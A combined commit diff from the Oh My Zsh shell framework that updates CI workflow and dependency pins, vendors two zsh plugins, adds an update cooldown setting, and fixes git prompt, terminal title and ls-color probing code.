fix(gh): preserve valid completion cache on failure

feat(docker-compose): add dcv, dcsts and dci aliases (#14122 )
feat(eza): add links, octal and inodes options (#14108 )
2026-09-27 21:46:08 +02:00 · 2026-09-26 19:00:22 -05:00 · 2026-09-22 17:57:30 -07:00 · 2026-09-22 17:24:48 -07:00 · 2026-09-22 17:23:21 -07:00 · 2026-09-22 17:46:15 +02:00
285 changed files with 14625 additions and 1225 deletions
@@ -5,6 +5,7 @@ plugins/eza/                        @pepoluan
 plugins/genpass/                    @atoponce
 plugins/git-lfs/                    @hellovietduc
 plugins/gitfast/                    @felipec
+plugins/hermes/                     @Uhm-why
 plugins/kube-ps1/                   @mcornella
 plugins/kubectl/                    @mcornella
 plugins/kubectx/                    @mcornella
@@ -6,9 +6,23 @@ updates:
      interval: "weekly"
      day: "sunday"
    labels: []
+    groups:
+      gha-minor:
+        patterns:
+          - "*"
+        update-types:
+          - minor
+          - patch
  - package-ecosystem: "pip"
    directory: "/.github/workflows/dependencies"
    schedule:
      interval: "weekly"
      day: "sunday"
    labels: []
+    groups:
+      py-minor:
+        patterns:
+          - "*"
+        update-types:
+          - minor
+          - patch
@@ -12,14 +12,14 @@ dependencies:
  plugins/gradle:
    repo: gradle/gradle-completion
    branch: master
-    version: a9d7c822e42cc6a5b028b59e46cffcc8e7bc1134
+    version: e7c881dbef7462bc35ad05328397e1582fe25cb8
    precopy: |
      set -e
      find . ! -name _gradle ! -name LICENSE -delete
  plugins/history-substring-search:
    repo: zsh-users/zsh-history-substring-search
    branch: master
-    version: 87ce96b1862928d84b1afe7c173316614b30e301
+    version: a0bdb0d47dbaba31dba2db7af8c48a5d9c74049a
    precopy: |
      set -e
      rm -f zsh-history-substring-search.plugin.zsh
@@ -30,7 +30,7 @@ dependencies:
  plugins/kube-ps1:
    repo: jonmosco/kube-ps1
    branch: master
-    version: 9b41c091d5dd4a99e58cf58b5d98a4847937b1bb
+    version: b4cd09ec8d4dc007173e28da40aeebf8eff8c87f
    precopy: |
      set -e
      find . ! -name kube-ps1.sh ! -name LICENSE ! -name README.md -delete
@@ -46,11 +46,55 @@ dependencies:
  plugins/z:
    branch: master
    repo: agkozak/zsh-z
-    version: cf9225feebfae55e557e103e95ce20eca5eff270
+    version: 102fb78036ed76feedf623907483691777a1d510
    precopy: |
      set -e
+      rm -r tests
      test -e README.md && mv -f README.md MANUAL.md
    postcopy: |
      set -e
      test -e _zshz && mv -f _zshz _z
      test -e zsh-z.plugin.zsh && mv -f zsh-z.plugin.zsh z.plugin.zsh
+  plugins/zsh-autosuggestions:
+    repo: zsh-users/zsh-autosuggestions
+    branch: master
+    version: 85919cd1ffa7d2d5412f6d3fe437ebdbeeec4fc5
+    precopy: |
+      set -e
+      test -e README.md && mv -f README.md MANUAL.md
+      sed -i 's|\[INSTALL.md\](INSTALL.md)|[the Oh My Zsh plugin README](README.md)|' MANUAL.md
+      rm -f zsh-autosuggestions.plugin.zsh
+      mv -f zsh-autosuggestions.zsh zsh-autosuggestions.plugin.zsh
+      find . -depth -mindepth 1 \
+        ! -path './LICENSE' \
+        ! -path './MANUAL.md' \
+        ! -path './src' \
+        ! -path './src/*' \
+        ! -path './zsh-autosuggestions.plugin.zsh' \
+        -delete
+  plugins/zsh-syntax-highlighting:
+    repo: zsh-users/zsh-syntax-highlighting
+    branch: master
+    version: 2fc57d63067c18b1100ecdbf684fa5baf49459d1
+    precopy: |
+      set -e
+      version=$(<.version)
+      test -e README.md && mv -f README.md MANUAL.md
+      sed -i 's|\[INSTALL.md\](INSTALL.md)|[the Oh My Zsh plugin README](README.md)|' MANUAL.md
+      rm -f zsh-syntax-highlighting.plugin.zsh
+      mv -f zsh-syntax-highlighting.zsh zsh-syntax-highlighting.plugin.zsh
+      mv -f COPYING.md LICENSE
+      sed -i "s|typeset -g ZSH_HIGHLIGHT_VERSION=.*|typeset -g ZSH_HIGHLIGHT_VERSION=$version|" zsh-syntax-highlighting.plugin.zsh
+      sed -i 's|typeset -g ZSH_HIGHLIGHT_REVISION=.*|typeset -g ZSH_HIGHLIGHT_REVISION=HEAD|' zsh-syntax-highlighting.plugin.zsh
+      find highlighters -type d -name test-data -prune -exec rm -rf {} +
+      find . -depth -mindepth 1 \
+        ! -path './LICENSE' \
+        ! -path './MANUAL.md' \
+        ! -path './docs' \
+        ! -path './docs/*' \
+        ! -path './highlighters' \
+        ! -path './highlighters/*' \
+        ! -path './images' \
+        ! -path './images/*' \
+        ! -path './zsh-syntax-highlighting.plugin.zsh' \
+        -delete
@@ -4,6 +4,9 @@ on:
  schedule:
    - cron: "0 6 * * 0"

+permissions:
+  contents: read
+
 jobs:
  check:
    name: Check for updates
@@ -13,22 +16,22 @@ jobs:
      contents: write # this is needed to push commits and branches
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
+        uses: step-security/harden-runner@e14015d583714f6e62063499dc959a02595150a1 # v2.21.1
        with:
          egress-policy: audit

      - name: Checkout
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0
      - name: Authenticate as @ohmyzsh
        id: generate-token
-        uses: actions/create-github-app-token@29824e69f54612133e76f7eaac726eef6c875baf # v2.2.1
+        uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
        with:
-          app-id: ${{ secrets.OHMYZSH_APP_ID }}
+          client-id: ${{ secrets.OHMYZSH_CLIENT_ID }}
          private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
      - name: Setup Python
-        uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
+        uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
        with:
          python-version: "3.12"
          cache: "pip"
@@ -1,7 +1,7 @@
-certifi==2026.2.25
-charset-normalizer==3.4.4
-idna==3.11
+certifi==2026.7.22
+charset-normalizer==3.5.1
+idna==3.19
 PyYAML==6.0.3
-requests==2.32.5
-semver==3.0.4
-urllib3==2.6.3
+requests==2.34.2
+semver==3.1.0
+urllib3==2.8.0
@@ -219,6 +219,7 @@ class Dependency:
            if status["has_updates"] is True:
                short_sha = status["head_ref"][:8]
                new_version = status["version"] if is_tag else short_sha
+                source_ref = new_version if is_tag else status["head_ref"]

                try:
                    branch_name = f"update/{self.path}/{new_version}"
@@ -227,7 +228,7 @@ class Dependency:
                    branch = Git.checkout_or_create_branch(branch_name)

                    # Update dependency files
-                    self.__apply_upstream_changes()
+                    self.__apply_upstream_changes(source_ref)

                    if not Git.repo_is_clean():
                        # Update dependencies.yml file
@@ -297,7 +298,7 @@ Check out the [list of changes]({status["compare_url"]}).
        dep_yaml = DependencyStore.update_dependency_version(self.path, new_version)
        DependencyStore.write_store(DEPS_YAML_FILE, dep_yaml)

-    def __apply_upstream_changes(self) -> None:
+    def __apply_upstream_changes(self, ref: str) -> None:
        # Patterns to ignore in copying files from upstream repo
        GLOBAL_IGNORE = [".git", ".github", ".gitignore"]

@@ -306,12 +307,11 @@ Check out the [list of changes]({status["compare_url"]}).
        postcopy = self.values.get("postcopy")

        repo = self.values["repo"]
-        branch = self.values["branch"]
        remote_url = f"https://github.com/{repo}.git"
        repo_dir = os.path.join(TMP_DIR, repo)

        # Clone repository
-        Git.clone(remote_url, branch, repo_dir, reclone=True)
+        Git.clone(remote_url, ref, repo_dir, reclone=True)

        # Run precopy on tmp repo
        if precopy is not None:
@@ -348,7 +348,7 @@ class Git:
    default_branch = "master"

    @staticmethod
-    def clone(remote_url: str, branch: str, repo_dir: str, reclone=False):
+    def clone(remote_url: str, ref: str, repo_dir: str, reclone=False):
        # If repo needs to be fresh
        if reclone and os.path.exists(repo_dir):
            shutil.rmtree(repo_dir)
@@ -356,11 +356,11 @@ class Git:
        # Clone repo in tmp directory and checkout branch
        if not os.path.exists(repo_dir):
            print(
-                f"Cloning {remote_url} to {repo_dir} and checking out {branch}",
+                f"Cloning {remote_url} to {repo_dir} and checking out {ref}",
                file=sys.stderr,
            )
            CommandRunner.run_or_fail(
-                ["git", "clone", "--depth=1", "-b", branch, remote_url, repo_dir],
+                ["git", "clone", "--depth=1", "--revision", ref, remote_url, repo_dir],
                stage="Clone",
            )

@@ -392,13 +392,15 @@ class Git:
        Returns `False` if the repo is dirty.
        """
        try:
-            CommandRunner.run_or_fail(
-                ["git", "diff", "--exit-code"], stage="CheckRepoClean"
+            result = CommandRunner.run_or_fail(
+                ["git", "status", "--porcelain", "--untracked-files=normal"],
+                stage="CheckRepoClean",
            )
-            return True
        except CommandRunner.Exception:
            return False

+        return result.stdout.strip() == b""
+
    @staticmethod
    def add_and_commit(scope: str, version: str) -> bool:
        """
@@ -26,12 +26,12 @@ jobs:
          - macos-latest
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
+        uses: step-security/harden-runner@e14015d583714f6e62063499dc959a02595150a1 # v2.21.1
        with:
          egress-policy: audit

      - name: Set up git repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - name: Install zsh
        if: runner.os == 'Linux'
        run: sudo apt-get update; sudo apt-get install zsh
@@ -47,12 +47,12 @@ jobs:
      - test
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
+        uses: step-security/harden-runner@e14015d583714f6e62063499dc959a02595150a1 # v2.21.1
        with:
          egress-policy: audit

      - name: Checkout
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - name: Install Vercel CLI
        run: npm install -g vercel
      - name: Setup project and deploy
@@ -24,12 +24,12 @@ jobs:
    if: github.repository == 'ohmyzsh/ohmyzsh'
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
+        uses: step-security/harden-runner@e14015d583714f6e62063499dc959a02595150a1 # v2.21.1
        with:
          egress-policy: audit

      - name: Set up git repository
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      - name: Install zsh
        run: sudo apt-get update; sudo apt-get install zsh
      - name: Check syntax
@@ -17,14 +17,14 @@ jobs:
    if: github.repository == 'ohmyzsh/ohmyzsh'
    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
+        uses: step-security/harden-runner@e14015d583714f6e62063499dc959a02595150a1 # v2.21.1
        with:
          egress-policy: audit
      - name: Authenticate as @ohmyzsh
        id: generate-token
-        uses: actions/create-github-app-token@29824e69f54612133e76f7eaac726eef6c875baf # v2.2.1
+        uses: actions/create-github-app-token@bcd2ba49218906704ab6c1aa796996da409d3eb1 # v3.2.0
        with:
-          app-id: ${{ secrets.OHMYZSH_APP_ID }}
+          client-id: ${{ secrets.OHMYZSH_CLIENT_ID }}
          private-key: ${{ secrets.OHMYZSH_APP_PRIVATE_KEY }}
      - name: Read project data
        env:
@@ -36,30 +36,30 @@ jobs:

    steps:
      - name: Harden the runner (Audit all outbound calls)
-        uses: step-security/harden-runner@a90bcbc6539c36a85cdfeb73f7e2f433735f215b # v2.15.0
+        uses: step-security/harden-runner@e14015d583714f6e62063499dc959a02595150a1 # v2.21.1
        with:
          egress-policy: audit

      - name: "Checkout code"
-        uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
+        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false

      - name: "Run analysis"
-        uses: ossf/scorecard-action@4eaacf0543bb3f2c246792bd56e8cdeffafb205a # v2.4.3
+        uses: ossf/scorecard-action@2d1146689b8cda280b9bc96326124645441f03bc # v2.4.4
        with:
          results_file: results.sarif
          results_format: sarif
          publish_results: true

      - name: "Upload artifact"
-        uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f # v7.0.0
+        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
        with:
          name: SARIF file
          path: results.sarif
          retention-days: 5

      - name: "Upload to code-scanning"
-        uses: github/codeql-action/upload-sarif@89a39a4e59826350b863aa6b6252a07ad50cf83e # v4.32.4
+        uses: github/codeql-action/upload-sarif@b96794f015dfd88f77b49b1c93e0fa7110f94c63 # v4.38.0
        with:
          sarif_file: results.sarif
@@ -4,7 +4,12 @@ custom/
 # temp files directories
 cache/
 log/
+
+# Vim swap/backup files
 *.swp
+*.swo
+
+# macOS system files
 .DS_Store

 # editor configs
@@ -13,3 +18,4 @@ log/

 # zcompile cached files
 *.zwc
+*.zwc.old
@@ -23,6 +23,14 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
 [![Mastodon Follow](https://img.shields.io/mastodon/follow/111169632522566717?label=%40ohmyzsh&domain=https%3A%2F%2Fmstdn.social&logo=mastodon&style=flat)](https://mstdn.social/@ohmyzsh)
 [![Discord server](https://img.shields.io/discord/642496866407284746)](https://discord.gg/ohmyzsh)

+<a href="https://commitgoods.com/collections/oh-my-zsh?utm_source=github">
+  <picture>
+    <source media="(prefers-color-scheme: dark)" srcset="https://cdn.shopify.com/s/files/1/0101/8752/files/commitgoods-badge-stacked-navy-dark.svg">
+    <img src="https://cdn.shopify.com/s/files/1/0101/8752/files/commitgoods-badge-stacked-navy.svg" height="28" alt="Official merch on commitgoods.com">
+  </picture>
+</a>
+
+
 <details>
 <summary>Table of Contents</summary>

@@ -46,7 +54,7 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
    - [Manual Installation](#manual-installation)
  - [Installation Problems](#installation-problems)
  - [Custom Plugins And Themes](#custom-plugins-and-themes)
-  - [Enable GNU ls In macOS And freeBSD Systems](#enable-gnu-ls-in-macos-and-freebsd-systems)
+  - [Enable GNU ls In macOS And FreeBSD Systems](#enable-gnu-ls-in-macos-and-freebsd-systems)
  - [Skip Aliases](#skip-aliases)
  - [Async git prompt](#async-git-prompt)
 - [Getting Updates](#getting-updates)
@@ -70,7 +78,7 @@ Twitter), and join us on [Discord](https://discord.gg/ohmyzsh).
 | O/S            | Status |
 | :------------- | :----: |
 | Android        |   ✅   |
-| freeBSD        |   ✅   |
+| FreeBSD        |   ✅   |
 | LCARS          |   🛸   |
 | Linux          |   ✅   |
 | macOS          |   ✅   |
@@ -349,7 +357,7 @@ If you have many functions that go well together, you can put them as a `XYZ.plu
 If you would like to override the functionality of a plugin distributed with Oh My Zsh, create a plugin of the
 same name in the `custom/plugins/` directory and it will be loaded instead of the one in `plugins/`.

-### Enable GNU ls In macOS And freeBSD Systems
+### Enable GNU ls In macOS And FreeBSD Systems

 <a name="enable-gnu-ls"></a>

@@ -466,6 +474,22 @@ zstyle ':omz:update' frequency 7
 zstyle ':omz:update' frequency 0
 ```

+By default, updates always pull the latest changes. If you'd rather let others kick the tires first
+before an update reaches your machine, you can set a cooldown (in days). You'll still get everything —
+just a little later:
+
+```sh
+# Only apply updates that are at least 10 days old
+zstyle ':omz:update' cooldown 10
+```
+
+`omz update` honors this setting. If you call `upgrade.sh` directly, pass the same
+value with `-c`, because that script does not read your `.zshrc`:
+
+```sh
+$ZSH/tools/upgrade.sh -c 10
+```
+
 ### Updates Verbosity

 You can also limit the update verbosity with the following settings:
@@ -371,7 +371,7 @@ multi == 1 && /^[^#]*\)/ {
  next
 }

-# if multi flag is enabled and we didnt find a closing parenthesis,
+# if multi flag is enabled and we didn't find a closing parenthesis,
 # get the indentation level to match when adding plugins
 multi == 1 && /^[^#]*/ {
  indent=\"\"
@@ -519,7 +519,7 @@ function _omz::plugin::load {
    # Check if it has completion to reload compinit
    local -a comp_files
    comp_files=($base/_*(N))
-    has_completion=$(( $#comp_files > 0 ))
+    (( has_completion )) || has_completion=$(( $#comp_files > 0 ))

    # Load the plugin
    if [[ -f "$base/$plugin.plugin.zsh" ]]; then
@@ -738,6 +738,9 @@ function _omz::reload {

  # Old zsh versions don't have ZSH_ARGZERO
  local zsh="${ZSH_ARGZERO:-${functrace[-1]%:*}}"
+  # ZSH_ARGZERO is how zsh was invoked, not the path to it, so re-resolve
+  # anything that is not absolute via $PATH at exec time (see #13919)
+  [[ "${zsh#-}" != /* ]] && (( $+commands[zsh] )) && zsh="zsh"
  # Check whether to run a login shell
  [[ "$zsh" = -* || -o login ]] && exec -l "${zsh#-}" || exec "$zsh"
 }
@@ -903,8 +906,11 @@ function _omz::update {
  }

  # Run update script
+  local verbose_mode cooldown_days
  zstyle -s ':omz:update' verbose verbose_mode || verbose_mode=default
-  ZSH="$ZSH" command zsh -f "$ZSH/tools/upgrade.sh" -i -v $verbose_mode || return $?
+  zstyle -s ':omz:update' cooldown cooldown_days || cooldown_days=0
+  [[ $cooldown_days == <-> ]] || cooldown_days=0
+  ZSH="$ZSH" command zsh -f "$ZSH/tools/upgrade.sh" -i -v $verbose_mode -c $cooldown_days || return $?

  # Update last updated file
  zmodload zsh/datetime
@@ -916,6 +922,9 @@ function _omz::update {
  if [[ "$(builtin cd -q "$ZSH"; git rev-parse HEAD)" != "$last_commit" ]]; then
    # Old zsh versions don't have ZSH_ARGZERO
    local zsh="${ZSH_ARGZERO:-${functrace[-1]%:*}}"
+    # ZSH_ARGZERO is how zsh was invoked, not the path to it, so re-resolve
+    # anything that is not absolute via $PATH at exec time (see #13919)
+    [[ "${zsh#-}" != /* ]] && (( $+commands[zsh] )) && zsh="zsh"
    # Check whether to run a login shell
    [[ "$zsh" = -* || -o login ]] && exec -l "${zsh#-}" || exec "$zsh"
  fi
@@ -271,7 +271,7 @@ function _omz_diag_dump_check_core_commands() {
    unfunction unhash unlimit unset unsetopt vared wait whence where which zcompile
    zle zmodload zparseopts zregexparse zstyle )
  if is-at-least 5.1; then
-    reserved_word+=( declare export integer float local readonly typeset )
+    reserved_words+=( declare export integer float local readonly typeset )
  else
    builtins+=( declare export integer float local readonly typeset )
  fi
@@ -12,10 +12,16 @@ function __git_prompt_git() {
 }

 function _omz_git_prompt_info() {
-  # If we are on a folder not tracked by git, get out.
-  # Otherwise, check for hide-info at global and local repository level
-  if ! __git_prompt_git rev-parse --git-dir &> /dev/null \
-    || [[ "$(__git_prompt_git config --get oh-my-zsh.hide-info 2>/dev/null)" == 1 ]]; then
+  # Get the git dir and the current branch name in one call. Outside a repo
+  # there is no output. On a detached HEAD the branch is "HEAD". On an unborn
+  # branch git exits non-zero after printing the git dir.
+  local -a info
+  info=("${(@f)$(__git_prompt_git rev-parse --git-dir --abbrev-ref HEAD 2> /dev/null)}")
+  local unborn=$(( $? != 0 ))
+  [[ -n "$info[1]" ]] || return 0
+
+  # Check for hide-info at global and local repository level
+  if [[ "$(__git_prompt_git config --get oh-my-zsh.hide-info 2>/dev/null)" == 1 ]]; then
    return 0
  fi

@@ -23,11 +29,15 @@ function _omz_git_prompt_info() {
  # - the current branch name
  # - the tag name if we are on a tag
  # - the short SHA of the current commit
-  local ref
-  ref=$(__git_prompt_git symbolic-ref --short HEAD 2> /dev/null) \
-  || ref=$(__git_prompt_git describe --tags --exact-match HEAD 2> /dev/null) \
-  || ref=$(__git_prompt_git rev-parse --short HEAD 2> /dev/null) \
-  || return 0
+  # a git dir path may contain newlines, so the branch is the last line
+  local ref="$info[-1]"
+  if (( unborn )); then
+    ref=$(__git_prompt_git symbolic-ref --short HEAD 2> /dev/null) || return 0
+  elif [[ "$ref" == HEAD ]]; then
+    ref=$(__git_prompt_git describe --tags --exact-match HEAD 2> /dev/null) \
+    || ref=$(__git_prompt_git rev-parse --short HEAD 2> /dev/null) \
+    || return 0
+  fi

  # Use global ZSH_THEME_GIT_SHOW_UPSTREAM=1 for including upstream remote info
  local upstream
@@ -36,7 +46,27 @@ function _omz_git_prompt_info() {
    && upstream=" -> ${upstream}"
  fi

-  echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref:gs/%/%%}${upstream:gs/%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}"
+  echo "${ZSH_THEME_GIT_PROMPT_PREFIX}${ref//\%/%%}${upstream//\%/%%}$(parse_git_dirty)${ZSH_THEME_GIT_PROMPT_SUFFIX}"
+}
+
+# Match an extended regular expression against a subject, forcing the C locale
+# only for the duration of the call.
+#
+# OHMYZSH-13330: zsh's "=~" operator delegates to the C library regex, which
+# aborts with REG_ILLSEQ when the subject contains an invalid byte sequence
+# under a multibyte locale (e.g. a filename with non-UTF-8 bytes in `git
+# status` output). Forcing the C locale makes every byte a valid character,
+# so the regex matching never fails that way. `git status --porcelain` is
+# locale-independent, so this does not change the parsed output.
+#
+# OHMYZSH-13985: the locale must be scoped to this function and not set for
+# the whole caller. Assigning LC_ALL makes zsh re-run setlocale() right away,
+# so leaving it set while the rest of the caller runs breaks multibyte
+# handling there — most visibly, `echo` refuses to expand Unicode escapes in
+# theme prompt symbols ("character not in range").
+function _omz_git_prompt_status_match() {
+  local -x LC_ALL=C
+  [[ "$1" =~ "$2" ]]
 }

 function _omz_git_prompt_status() {
@@ -104,11 +134,11 @@ function _omz_git_prompt_status() {
  status_lines=("${(@f)${status_text}}")

  # If the tracking line exists, get and parse it
-  if [[ "$status_lines[1]" =~ "^## [^ ]+ \[(.*)\]" ]]; then
+  if _omz_git_prompt_status_match "$status_lines[1]" "^## [^ ]+ \[(.*)\]"; then
    local branch_statuses
    branch_statuses=("${(@s/,/)match}")
    for branch_status in $branch_statuses; do
-      if [[ ! $branch_status =~ "(behind|diverged|ahead) ([0-9]+)?" ]]; then
+      if ! _omz_git_prompt_status_match "$branch_status" "(behind|diverged|ahead) ([0-9]+)?"; then
        continue
      fi
      local last_parsed_status=$prefix_constant_map[$match[1]]
@@ -121,7 +151,7 @@ function _omz_git_prompt_status() {
    local status_constant="${prefix_constant_map[$status_prefix]}"
    local status_regex=$'(^|\n)'"$status_prefix"

-    if [[ "$status_text" =~ $status_regex ]]; then
+    if _omz_git_prompt_status_match "$status_text" "$status_regex"; then
      statuses_seen[$status_constant]=1
    fi
  done
@@ -162,13 +192,13 @@ if zstyle -t ':omz:alpha:lib:git' async-prompt \
  # or any of the other prompt variables
  function _defer_async_git_register() {
    # Check if git_prompt_info is used in a prompt variable
-    case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in
+    case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
    *(\$\(git_prompt_info\)|\`git_prompt_info\`)*)
      _omz_register_handler _omz_git_prompt_info
      ;;
    esac

-    case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT}:${RPS1}:${RPS2}:${RPS3}:${RPS4}" in
+    case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
    *(\$\(git_prompt_status\)|\`git_prompt_status\`)*)
      _omz_register_handler _omz_git_prompt_status
      ;;
@@ -224,7 +254,8 @@ function parse_git_dirty() {
        FLAGS+="--ignore-submodules=${GIT_STATUS_IGNORE_SUBMODULES:-dirty}"
        ;;
    esac
-    STATUS=$(__git_prompt_git status ${FLAGS} 2> /dev/null | tail -n 1)
+    # only non-emptiness matters, so keep one line instead of the whole list
+    __git_prompt_git status ${FLAGS} 2> /dev/null | read -r STATUS
  fi
  if [[ -n $STATUS ]]; then
    echo "$ZSH_THEME_GIT_PROMPT_DIRTY"
@@ -255,7 +286,7 @@ function git_remote_status() {
        fi

        if [[ -n $ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_DETAILED ]]; then
-            git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote:gs/%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX"
+            git_remote_status="$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_PREFIX${remote//\%/%%}$git_remote_status_detailed$ZSH_THEME_GIT_PROMPT_REMOTE_STATUS_SUFFIX"
        fi

        echo $git_remote_status
@@ -21,6 +21,7 @@ function chruby_prompt_info \
  azure_prompt_info \
  tf_prompt_info \
  conda_prompt_info \
+  go_prompt_info \
 {
  return 1
 }
@@ -14,10 +14,16 @@ FX=(
  reverse   "%{[07m%}" no-reverse   "%{[27m%}"
 )

-for color in {000..255}; do
-  FG[$color]="%{[38;5;${color}m%}"
-  BG[$color]="%{[48;5;${color}m%}"
-done
+# Build the tables with array operations instead of a 256-iteration loop
+() {
+  setopt localoptions noksharrays
+  local -a codes fg bg
+  codes=({000..255})
+  fg=( "%{"$'\e'"[38;5;"${^codes}"m%}" )
+  bg=( "%{"$'\e'"[48;5;"${^codes}"m%}" )
+  FG=( ${codes:^fg} )
+  BG=( ${codes:^bg} )
+}

 # Show all 256 colors with color number
 function spectrum_ls() {
@@ -22,7 +22,8 @@ function title {
      print -Pn "\e]1;${1:q}\a" # set tab name
      ;;
    screen*|tmux*)
-      print -Pn "\ek${1:q}\e\\" # set screen hardstatus
+      print -Pn "\e]2;${2:q}\e\\" # set tmux pane title
+      print -Pn "\ek${1:q}\e\\" # set screen hardstatus/tmux window name if `allow-rename` is on
      ;;
    *)
      if [[ "$TERM_PROGRAM" == "iTerm.app" ]]; then
@@ -31,7 +32,12 @@ function title {
      else
        # Try to use terminfo to set the title if the feature is available
        if (( ${+terminfo[fsl]} && ${+terminfo[tsl]} )); then
-          print -Pn "${terminfo[tsl]}$1${terminfo[fsl]}"
+          # Emit the capabilities with echoti so terminfo does its own parameter
+          # substitution: some terminals (vt320) take a column argument, and
+          # running prompt expansion over the capability string mangles it.
+          echoti tsl 0
+          print -Pn "$1"
+          echoti fsl
        fi
      fi
      ;;
@@ -13,69 +13,92 @@ ZSH_THEME_RUBY_PROMPT_PREFIX="("
 ZSH_THEME_RUBY_PROMPT_SUFFIX=")"


+# The command probes below fork a process each, and their result doesn't change
+# from one shell to the next, so they're cached for a day (like lib/grep.zsh).
+typeset -A __omz_probes
+__omz_probe_cache="$ZSH_CACHE_DIR/appearance-probes"
+__omz_probe_cached=("$__omz_probe_cache"(Nm-1))
+[[ -z "$__omz_probe_cached" ]] || source "$__omz_probe_cache"
+
+function __omz_test_cmd_args {
+  # Usage: __omz_test_cmd_args cmd args...
+  # Runs `cmd args... /dev/null` and remembers whether it succeeded, so a
+  # command needing two operands passes the first one itself:
+  # e.g. __omz_test_cmd_args gls --color  ->  gls --color /dev/null
+  #      __omz_test_cmd_args diff --color /dev/null  ->  diff --color /dev/null /dev/null
+  local key="$*"
+  if (( ! ${+__omz_probes[$key]} )); then
+    command "$@" /dev/null &>/dev/null
+    __omz_probes[$key]=$?
+    if [[ -w "$ZSH_CACHE_DIR" ]]; then
+      print -r -- "__omz_probes=(" "${(@qqkv)__omz_probes}" ")" >| "$__omz_probe_cache"
+    fi
+  fi
+  return $__omz_probes[$key]
+}
+
 # Use diff --color if available
-if command diff --color /dev/null{,} &>/dev/null; then
+if __omz_test_cmd_args diff --color /dev/null; then
  function diff {
    command diff --color "$@"
  }
 fi

-# Don't set ls coloring if disabled
-[[ "$DISABLE_LS_COLORS" != true ]] || return 0
+# Set up ls coloring. Done in a function so the early return below still
+# reaches the cleanup at the end of this file.
+() {
+  # Don't set ls coloring if disabled
+  [[ "$DISABLE_LS_COLORS" != true ]] || return 0

-# Default coloring for BSD-based ls
-export LSCOLORS="Gxfxcxdxbxegedabagacad"
+  # Default coloring for BSD-based ls
+  export LSCOLORS="Gxfxcxdxbxegedabagacad"

-# Default coloring for GNU-based ls
-if [[ -z "$LS_COLORS" ]]; then
-  # Define LS_COLORS via dircolors if available. Otherwise, set a default
-  # equivalent to LSCOLORS (generated via https://geoff.greer.fm/lscolors)
-  if (( $+commands[dircolors] )); then
-    [[ -f "$HOME/.dircolors" ]] \
-      && source <(dircolors -b "$HOME/.dircolors") \
-      || source <(dircolors -b)
-  else
-    export LS_COLORS="di=1;36:ln=35:so=32:pi=33:ex=31:bd=34;46:cd=34;43:su=30;41:sg=30;46:tw=30;42:ow=30;43"
+  # Default coloring for GNU-based ls
+  if [[ -z "$LS_COLORS" ]]; then
+    # Define LS_COLORS via dircolors if available. Otherwise, set a default
+    # equivalent to LSCOLORS (generated via https://geoff.greer.fm/lscolors)
+    if (( $+commands[dircolors] )); then
+      [[ -f "$HOME/.dircolors" ]] \
+        && source <(dircolors -b "$HOME/.dircolors") \
+        || source <(dircolors -b)
+    else
+      export LS_COLORS="di=1;36:ln=35:so=32:pi=33:ex=31:bd=34;46:cd=34;43:su=30;41:sg=30;46:tw=30;42:ow=30;43"
+    fi
  fi
-fi

-function test-ls-args {
-  # Usage: test-ls-args cmd args...
-  # e.g. test-ls-args gls --color
-  command "$@" /dev/null &>/dev/null
+  # Find the option for using colors in ls, depending on the version
+  case "$OSTYPE" in
+    netbsd*)
+      # On NetBSD, test if `gls` (GNU ls) is installed (this one supports colors);
+      # otherwise, leave ls as is, because NetBSD's ls doesn't support -G
+      __omz_test_cmd_args gls --color && alias ls='gls --color=tty'
+      ;;
+    openbsd*)
